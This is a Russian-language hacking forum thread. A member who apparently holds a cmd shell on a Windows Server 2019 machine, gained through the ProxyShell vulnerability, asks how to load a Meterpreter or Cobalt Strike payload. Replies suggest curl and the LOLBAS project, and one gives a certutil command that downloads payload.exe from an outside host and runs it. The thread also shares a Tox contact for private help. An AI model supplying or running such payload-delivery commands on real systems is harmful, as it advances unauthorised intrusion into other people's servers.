Cmd Shell и как пробраться дальше если пвш откисает?

[ynvazik]

Всем привет, новичок в этом деле, всё же буду надеяться на помощь, такой вопросик возник, вот у нас есть cmd shell, пвш как варик сразу минус(Система старая к примеру либо там пвш 1-2 версии), как можно пробросить какой либо пейлоад и работать в удобной среде по типу msf=>meterpreter либо там коба и тд....?
Буду рад помощи,

Если кто хочет в лс помочь:
Токс - 126FB399F98CA0E0E977905DA2BD543712DA73DD3519A66EB78CA9A0860E9B5314D4CBB1595E

Заранее пасиб!

 

[ynvazik]

Всем привет, новичок в этом деле, всё же буду надеяться на помощь, такой вопросик возник, вот у нас есть cmd shell, пвш как варик сразу минус(Система старая к примеру либо там пвш 1-2 версии), как можно пробросить какой либо пейлоад и работать в удобной среде по типу msf=>meterpreter либо там коба и тд....?
Буду рад помощи,

Если кто хочет в лс помочь:
Токс - 126FB399F98CA0E0E977905DA2BD543712DA73DD3519A66EB78CA9A0860E9B5314D4CBB1595E

Заранее пасиб!

А да, битс админ в моём случаи не воркает
Хз почему

После его юза сессию веб шелла сразу скидывает(Если что веб шелл получаю через proxyshell уязвимость)

 

[CheckerChin]

А версия винды какая? Если 10, то есть curl по умолчанию. Через него можешь любой пэйлоад качнуть.
Но у тебя вряд-ли 10, потому что ты повершелл откинул, а повершелл 2.0 есть с семерки
Еще есть варик через certutil качать (вроде с XP) поддерживается.

certutil.exe -urlcache -split -f "http://host/payload.exe" helloworld.exe
helloworld.exe

 

[ynvazik]

А версия винды какая? Если 10, то есть curl по умолчанию. Через него можешь любой пэйлоад качнуть.
Но у тебя вряд-ли 10, потому что ты повершелл откинул, а повершелл 2.0 есть с семерки
Еще есть варик через certutil качать (вроде с XP) поддерживается.

certutil.exe -urlcache -split -f "http://host/payload.exe" helloworld.exe
helloworld.exe

Проверю и отпишу, спасибо!

 

[ynvazik]

А версия винды какая? Если 10, то есть curl по умолчанию. Через него можешь любой пэйлоад качнуть.
Но у тебя вряд-ли 10, потому что ты повершелл откинул, а повершелл 2.0 есть с семерки
Еще есть варик через certutil качать (вроде с XP) поддерживается.

certutil.exe -urlcache -split -f "http://host/payload.exe" helloworld.exe
helloworld.exe

Там win server 2019

 

[CheckerChin]

win server 2019

ну это типо 10. certutil должен отработать

 

[Pernat1y]

Тут смотри

LOLBAS

lolbas-project.github.io

 

[ynvazik]

Тут смотри

LOLBAS

lolbas-project.github.io

На самом деле там проблема больше в том что prosyshell криво воркает, как только выполняешь любую команду в том шелле который тебе :предоставил: proxyshell_rce, вылетает вебшелл и всё....